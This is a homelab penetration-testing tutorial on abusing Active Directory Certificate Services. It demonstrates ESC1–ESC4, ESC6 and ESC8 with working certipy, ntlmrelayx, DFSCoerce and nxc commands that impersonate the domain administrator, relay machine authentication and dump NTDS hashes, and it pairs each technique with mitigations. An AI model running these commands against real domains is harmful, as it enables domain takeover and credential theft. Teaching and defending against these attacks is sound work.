Hacking Active Directory: AD CS Part 1

certified_pre-owned_1_cover

In 2021, a white paper Titled Certified Pre-Owned: Abusing Active Directory Certificate Services (link) was published by Will Schroeder and Lee Christensen, outlining 5 credential theft techniques, 3 account persistence techniques, 3 domain persistence techniques, as well as 8 privilege escalation techniques against the AD CS. This paper reveals a component of the Active Directory that was previously largely ignored as an attack vector, even though various prior-work have tried to highlight these misconfigurations. Since then, this information has been trickling down gradually throughout the industry. Tools have been created to assess the impact of these vulnerabilities. There are even CTF boxes created to showcase how these vulnerabilities can lead to total domain compromise.

That’s how I first became aware of these attacks. They were never mentioned in any of the classes or certifications I have studied for. Some of these attacks are included in the curriculum for Red Team certs for CRTO, but frankly, I believe these attacks should make their way into popular certs like OSCP due to their potential for total domain compromise.

In this article, I’ll briefly explain what is AD CS and demonstrate several privilege escalation techniques from the White Paper from SpecterOps, namely ESC1, ESC2, ESC3, ESC4, ESC6 and ESC8.

PKI and the AD CS

Microsoft defines the Active Directory Certificate service (AD CS) as following:

Active Directory Certificate Services (AD CS) is a Windows Server role for issuing and managing public key infrastructure (PKI) certificates used in secure communication and authentication protocols.

But what is the Public Key Infrastructure?

If you are not familiar with PKI, it is a set of roles, policies, hardware, software and procedures used to create, manage, distribute, use and revoke digital certificates and manage public-key encryption. Digital certificates are issued and signed by Certificate Authorities (CA), which binds a particular public key with the identity of its owner.

For example, the encrypted TLS connection to this very website you are using right now is protected by a digital certificate. My website’s public key is shared with your browser inside a digital certificate, which also includes other information such as the domain name (haoyingcao.xyz), as well as the identity of the CA and its digital signature. By verifying that this certificate is for my website and that the digital signature is valid, you can safely assume that you are connecting to my website.

Below is an screenshot of the information page of my website’s certificate that you can access in your browser as well.

web_cert

But why are digital certificates important? Suppose you are trying to access your bank’s website at bank.com. An attacker, by using DNS spoofing, leads you to his phishing website that looks identical to the real one. If there are no digital certificates and PKI to verify them against, you wouldn’t be able to tell the phishing website from the real one, and you might enter your credentials, which then can be used by the attacker to drain your bank account.

dns_spoofing

So overall, PKI serves as a central point of authority to verify the identities of its client entities by issuing them digital certificates with its signature on it. AD CS, is therefore, Microsoft’s implementation of PKI on the active directory network. This allows accounts in the active directory to prove that they are who they say they are…well, at least that is the intention.

The AD CS has root and subordinate CAs that joined in the domain. Sometimes these CAs can be on the same server as the domain controller, but they can be configured on another server as well inside the domain. These CAs can issue certificates to computer, user, and device accounts for the purposes of:

  • Encryption
  • Digital Signature
  • Authentication

A Certificate issued by a CA in an AD CS usually have many fields. There are two that are more interesting for reasons that we will see later.

  • SubjectAlternativeName (SAN): Defines one or more alternative names that the subjects may go by.
  • Extended Key Usages (EKUs): Describe how the certificate will be used. Common ones include:
    • Code signing: for signing executable code
    • Encrypting file system
    • Secure Email: for encrypting email
    • Client Authentication: for authenticating
    • Smart Card Logon: used for smart card authentication
    • Server Authentication: used for identifying server (e.g., HTTPS certificates)
    • Certificate Request Agent: enables a principal to request a certificate on behalf of another

These fields can be pre-defined in a Certificate template, allowing for more streamlined certificate issuance and easy permission control. Users and groups may have Full Control, and/or the ability to Read, Write, Enroll, or Autoenroll.

Speaking of enrollment, it is the process for which the client obtains a certificate from the AD CS:

  1. Client generates public-private key pair.
  2. Client sends a certificate request along with its public key, the certificate template it wants, and various other settings.
  3. CA checks if the certificate template exist, if the client is allowed to enroll in it, and if the settings in the request is allowed by the template.
  4. CA generates a certificate and signs it with its private key.
  5. Client stores the certificate and use it for the purpose outlined in the EKUs

Hopefully that wasn’t too much of a brain dump, now let’s get hands on with a demonstration

Demo Setup

I have a tutorial on how to set up an active directory homelab on a Proxmox server here. The following are information relevant to this demonstration:

  • Domain Name: GUNDAM.local
  • Machines:
    • RA-CAILUM.GUNDAM.local (10.10.0.3): Windows Server 2025, Domain Controller & Root CA
    • SINANJU.GUNDAM.local (10.10.0.6): Windows Server 2022, Subordinate CA
  • CAs:
    • GUNDAM-RA-CAILUM-CA: Root CA installed on the Domain Controller
    • GUNDAM-SINANJU-CA: Subordinate CA installed on separate server, has web enrollment enabled
  • Domain Users:
    • Administrator: has very strong randomly generated password
    • Amuro.Ray: regular domain user, password is Password1, compromised low privilege account
    • Bright.Noa: member of Cert Admins Group, password is Password1, compromised account

Enumeration and Preparation

We will be using certipy to enumerate and demonstrate the techniques below. Do note that you might need to tweak some of the arguments in order for the commands listed below to run successfully.

In order for us to enumerate the certificates available on the domain, we need a set of credentials on the domain, then we can run the following command:

$ certipy find -u "amuro.ray@gundam.local" -p "Password1" -dc-ip 10.10.0.3

Alternatively, we can also use Kerberos to authenticate with the AD CS if we are able to get a TGT. I will continue the rest of this demo by using Kerberos to authenticate.

$ getTGT.py 'gundam.local/amuro.ray:Password1'
$ export KRB5CCNAME=amuro.ray.ccache
$ certipy find -k -no-pass -target ra-cailum.gundam.local -ns 10.10.0.3

cert_temp_enum

The certify find command will automatically generate two files containing information regarding the CAs in the domain as well as all the certificate templates it was able to find, one in JSON and another one in regular text. Additionally, you make certipy output directly to your terminal with -stdout flag, or only show templates it deem to be vulnerable with the -vulnerable flag.

ESC1, ESC2: Requesting certificate to pretend as another user

I lumped these two techniques in with the same section because they are very similar. They all involve requesting a certificate that we can use to authenticate as another user. The difference is what specific configuration in the certificate template allowed that to happen:

  • ESC1:
    • Client Authentication is set as one of the EKUs.
    • ENROLLEE_SUPPLIES_SUBJECT flag is set, meaning the subject of the certificate issued will be whatever the client supplies in the certificate request.
  • ESC2:
    • Any Purpose is set as one of the EKUs.
    • ENROLLEE_SUPPLIES_SUBJECT flag is set.

Additionally, the following condition must also be met in order for these techniques to work:

  • Enrollment rights granted to a user or group for which we have access to
  • Manager approval not enabled
  • Authorized signature are not required

Let us check inside the certipy find output file to see if any of the certificates meet these requirements. esc1_find I have configured a template named ESC1 has both Client Authentication set in the EKU, and allows for enrollee to supply the subject in the SAN, which is why certipy helpfully highlighted at the bottom that this template is vulnerable to ESC1. esc2_find ESC2 is almost identical to ESC1, except its EKU is set to Any Purpose, which includes Client Authentication.

So how can we exploit this? Well, since members of GUNDAM.LOCAL\Domain Users has enrollment rights for both of these certificate templates, and we control one such user, Amuro.Ray, we can request for a certificate based on ESC1 or ESC2, but we specify the user we want to have access to as the subject. The attack path for ESC1 and ESC2 is the same, so I’ll be showcasing ESC1 for the sake of brevity.

Again, we use certipy to request a certificate with a different target user as the subject. This following command will request for a certificate based on ESC1 with the administrator as the subject name:

$ certipy req -k -no-pass -ca GUNDAM-RA-CAILUM-CA -upn administrator@gundam.local -template ESC1 -target ra-cailum.gundam.local

If your command returns a key size error, you might need to adjust your key size with -key-size argument. I used 4096 as mine.

Additionally, you might need to supply the SID for your target. To find the SID of your target, you can use Bloodhound, ldapsearch, or lookupsid.py from Impacket. To specify an SID, use the -sid argument followed by the target’s SID. esc1_req Certipy has successfully requested a certificate with UPN specified as the administrator and saved the output to a file. We can use it to authenticate as administrator using the certipy auth command:

$ certipy auth -pfx administrator.pfx -dc-ip 10.10.0.3

esc1_auth We have successfully obtained the administrator’s Kerberos ticket and dumped its hash, using THEFT5 technique mentioned inside the Certified Pre-Owned white paper, which uses a failsafe caled PKINIT that allows a host to obtain the NTLM hash from a TGT. We can then use the hash or the TGT to authenticate as the administrator in the domain. It just goes to show how dangerous is allowing the client to specify any subject as the SAN.

There are several options to mitigate against ESC1 or ESC2:

  • Disable ENROLLEE_SUPPLIES_SUBJECT flag, which disallows the client to freely specify subject name in the certificate request.
  • Preventing low-privileged users from enrolling in the vulnerable certificate template
  • Enable manager approval, which would require an authorized user must manually approved each certificate request before granting them.

ESC3: Requesting a certificate on behalf of another user

ESC3 is very similar to ESC1 and ESC2, but it requires an additional step. ESC3 abuses the EKU of Certificate Enrollment Agent, which allows one user to request certificates for another user as if they are that user. To abuse this for privilege escalation, there needs to be at least two templates matching conditions below:

  • Condition 1: A template allows a low-privileged user to enroll in an enrollment agent.
    • Enrollment rights granted to a user or group for which we have access to.
    • Manager approval is disabled.
    • No authorized signatures are required.
    • Certificate Enrollment Agent or Any Purpose is set as the EKU.
  • Condition 2: Another template permit a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user that can be used for authentication.
    • Enrollment rights granted to a user or group for which we have access to (including the user we can request a certificate for via condition 1).
    • Manager approval is disabled.
    • No authorized signatures are required.
    • Client Authentication or Any Purpose is set as the EKU.

The chain of attack goes as the following:

  1. Request a condition 1 certificate as the current user.
  2. Use the condition 1 certificate to request a condition 2 certificate on behalf of the target user, which allows for client authentication.
  3. Authenticate as the target user using condition 2 certificate.

This chain is like the exploitation process of ESC1 or ESC2, separating the process of gaining the ability to become another user and the ability to authenticate in two certificate requests.

The following is a certificate template called ESC3 configured to satisfy condition 1. Certificate Request Agent is set as the EKU, which prompted Certipy to mark the template as vulnerable to ESC3 esc3_find

Additionally, we also find the default User template to satisfy condition 2, by defining Client Authentication as one of its EKUs, laying out for us a complete chain of attack. esc3_find_2

Let’s begin the attack by requesting a certificate from the ESC3 template as the domain admin.

$ certipy req -k -no-pass -ca GUNDAM-RA-CAILUM-CA -template ESC3 -target ra-cailum.gundam.local -out cert

esc3_req_1 Note here that we didn’t specify any SAN. We only requested a certificate for the user we have control of, but a certificate that can allow us to request certificate on behalf of another user. We can do so with the -on-behalf-of argument to provide the target user we want to request a certificate for and the -pfx argument to provide the certificate we just requested.

P.S: don’t specify the FQDN as the domain part of -on-behalf-of, or else the CA will deny your request.

$ certipy req -k -no-pass -ca GUNDAM-RA-CAILUM-CA -template user -target ra-cailum.gundam.local -on-behalf-of 'gundam\administrator' -pfx cert.pfx -key-size 4096 -sid 'S-1-5-21-790304770-1385196242-1780550448-500'

esc3_req_2 Certipy told us that we got a certificate with UPN set to administrator@GUNDAM.local, which means we can successfully requested a certificate that allows us to authenticate as the domain administrator using the same certipy auth command as we did for ESC1.

$ certipy auth -pfx administrator.pfx -dc-ip 10.10.0.3

There are several options to mitigate against ESC3

  • Restrict Enrollment Agents to specific principals.
  • Preventing low-privileged users from enrolling in the vulnerable certificate template
  • Enable manager approval, which would require an authorized user must manually approved each certificate request before granting them.

ESC4: Vulnerable Certificate Access Control

ESC4 is a scenario when the attacker has control over a principal that can modify a certificate template. The principal must either be the owner of the template, or have either FullControl, WriteOwner, WriteDacl, or WriteProperty rights to the template. The way to exploit vulnerable access control over a template is to simply modify the template itself into a vulnerable one, commonly ESC1 or ESC2 for the ease of exploit.

I have created the following template that Bright.Noa has WriteOwner, WriteDacl and WriteProperty rights over. Certipy, once again, marked the template as vulnerable. esc4_find

Certipy includes a template command that allow us to modify a certificate template when we have the rights to do so. Coupled with the -write-default-configuration flag, we can very conveniently reconfigure a template to one that is vulnerable to ESC1.

$ certipy template -k -no-pass -template ESC4 -target ra-cailum.gundam.local -write-default-configuration

esc4_change

If we rerun our certipy find command, we can see that Client Authentication defined in the EKU, and Enrollee Supplies Subject has also been set to true. esc4_find_2

From here on, we can simply repeat the steps we used to exploit ESC1 or ESC2. We first request a certificate with SAN set to username of a target user, then we use that certificate to authenticate.

$ certipy req -k -no-pass -ca GUNDAM-RA-CAILUM-CA -upn administrator@gundam.local -template ESC4 -target ra-cailum.gundam.local
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.0.3

The only real way to mitigate against this is to harden the access control around certificate templates by revoking any dangerous permissions given to low-privileged users and creating a dedicated user or group to manage the certificate templates.

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2

EDITF_ATTRIBUTESUBJECTALTNAME2 is a flag that can be set set on the CA as a DWORD registry value in \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags.

When this flag is set, according to Microsoft:

any request (including when the subject is built from Active Directory®) can have user defined values in the subject alternative name.

I have enabled the flag on my demo CA, which can be checked with the following command on the domain controller:

PS> certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

esc6_editflags As we can see from above, the flag is listed as enabled. When we run certipy find, it marks the CA as vulnerable to ESC6 because User Specified SAN is enabled on this CA. esc6_find

Theoretically, we can repeat the same path as the one for ESC1/ESC2, issuing a certificate request with the UPN and SID of the target, then use that certificate to authenticate as the target user. However, patches (May 2022) have been released since the Certified Pre-Owned white paper, and certificates now include SID security extensions. Below is explanation from the Certipy Wiki of why the new SID security extensions would render this attack path no longer viable:

This is because the KDC prioritizes the SID from this security extension for mapping the certificate to an account during Kerberos PKINIT authentication. If an attacker uses ESC6 to inject a UPN for Administrator and a SID for Administrator into the SAN of a certificate, but the certificate is legitimately issued for the attacker’s own account (and thus the SID security extension contains the attacker’s SID), the KDC will use the attacker’s SID, preventing impersonation.

So, what is a good AD hacker to do? Well, ESC6 can still be valuable for us if any of the two following misconfigurations are present:

  • ESC9 (No Security Extension on Template): A certificate template is configured not to include the SID security extension.
  • ESC16 (Security Extension Disabled on CA): The CA itself is configured not to include the SID security extension in any issued certificates.

I will write how these attack paths work when it comes time to discuss ESC9 and ESC16 respectively. For now, just remember, this vulnerability is only exploitable by itself if the AD environment doesn’t have the May 2022 security patch. And if that is true, you can use the same exploitation process as the one for ESC1/ESC2:

$ certipy req -k -no-pass -ca GUNDAM-RA-CAILUM-CA -upn administrator@gundam.local -template ESC4 -target ra-cailum.gundam.local
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.0.3

As for ways to mitigate against ESC6, the first is to disable EDITF_ATTRIBUTESUBJECTALTNAME2 for your CAs with the following command:

$ certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

Alternatively, apply the May 2022 security updates and make sure that SID security extension is enabled on all your templates and CAs.

ESC8: NTLM Relay to AD CS HTTP Endpoints

AD CS supports HTTP-based enrollment methods via additional AD CS server roles, which are vulnerable to NTLM relay attacks. The attack against ESC8 involves relaying NTLM hash to the Web Enrollment server, then requesting a certificate from a template the principal of the NTLM hash has access to.

This attack is especially powerful when we link it with a Forced Authentication Coercion, where we will trick the computer account of our target into attempting to authenticate to a server controlled by us. This will allow us to capture the NetNTLMv2 hash of the machine account, which we can use in the NTLM relay attack that completes ESC8. The “tricking” part is done via sending a request via various RPC calls that leads to the machine account attempting to authenticate against a server we control.

The most famous version of Authentication Coercion is called PetitPotam, which uses MS-EFSRPC EfsRpcOpenFileRaw, a RPC called used to open a encrypted object. When it was first released, PetitPotam could be used in an unauthenticated fashion, allowing attackers to coerce the domain controller to give up its NetNTLMv2 hash to be relayed to other services. Nowadays, unauthenticated forced authentication coercion has fortunately been mostly patched by Microsoft, but we can still trigger this attack if we have any valid accounts on the domain. coercion

We can detect what forced coercion methods will work with the coerce_plus module on nxc:

$ nxc smb -u amuro.ray -p 'Password1' -d gundam.local 10.10.0.3 -M coerce_plus

coerce_plus I have chosen DFSCoerce, which coerces authentication against MS-DFSNM protocol using NetrDfsRemoveStdRoot and NetrDfsAddStdRoot. Here is the PoC script I will be using: link.

We first want to check if we get the target machine account to authenticate against us. To do that, we first set up responder.

$ sudo responder -I <INTERFACE> -v

Then, perform the authentication coercion using the PoC script:

$ python dfscoerce.py -u amuro.ray -p 'Password1' -d gundam.local 10.69.0.2 10.10.0.3

If we check the output of responder, we can find the RA-CAILUM$ machine account’s NetNTLMv2 hash. coerce_succeed

The next step is to relay this hash to the Web Enrollment endpoint. For that to work, several requirements needs to be met:

  1. NTLM Authentication is accepted on the IIS server.
  2. Extended Protection for Authentication (EPA) is disabled on the Web Enrollment Endpoint. Note that EPA is enabled by default on installations of web enrollment on Windows Server 2025.

We will be relaying our domain controller’s NTLM authentication to the web enrollment on SINANJU. Windows Server 2025 seem to have some protection in place against NTLM relay on the web enrollment, and I couldn’t find a configuration to get it to work even after turning off EPA. However, the ESC8 attack still works on the default installation of Web Enrollment on Windows Server 2022.

To relay the NTLM authentication we got from the domain controller, we want to turn off our responder, and start either ntlmrelayx or certipy relay. Both options will relay the NTLM authentication to the Web Enrollment endpoint and request a certificate from a template we specify that can be enrolled by domain controller.

$ sudo ntlmrelayx.py -t http://10.10.0.6/certsrv/certreq.asp --adcs -smb2support --no-http-server --template "DomainControllerAuthentication"
# OR
$ sudo certipy relay -target http://10.10.0.6 -template "DomainControllerAuthentication"

After re-running your authentication coersion command against the domain controller, the NTLM authentication we got will be instead relayed to SINANJU, our subordinate CA’s web enrollment endpoint. From there, certipy relay requests a certificate for RA-CAILUM$ machine account. esc8_relay We can then extract the NTLM hash for RA-CAILUM$ and use it to dump the NTDS on the domain controller RA-CAILUM, obtaining hashes for high-privileged accounts.

$ nxc smb 10.10.0.3 -u 'RA-CAILUM$' -H <RA-CAILUM_HASH> -d gundam.local --ntds

There are several options to mitigate against ESC8 attacks:

  • Apply patches to stop unauthenticated authentication coercion.
  • Enable EPA for Windows Authentication on Web Enrollment.
  • Turn off NTLM authentication on Web Enrollment if not needed.
  • Turn off Web Enrollment if not needed.

Conclusion

AD CS is another attack surfaces that was not widely explored until recently. ESC1, ESC2, ESC3, ESC4, ESC6 and ESC8 present some very interesting privilege escalation vectors for low-privileged attackers to gain total control over the domain. As I have mentioned, some of the above vulnerabilities have been patched by microsoft, and misconfigurations like ESC1 are now more widely known to system administrators. However, there are still many organizations that have not applied patches or audits against these vulnerabilities, making pentesters who know about these attack especially valuable to them.

In the next article in the Hacking Active Directory series, I will continue to document and demonstrate some of the ESC attacks that came after the Certified Pre-Owned whitepaper, including the ESC6 + ESC9 and ESC6 + ESC16 combinantions that shows how ESC6 can still be relevant in modern AD CS environments.

References

#homelab #Pentesting #Active Directory #windows #AD CS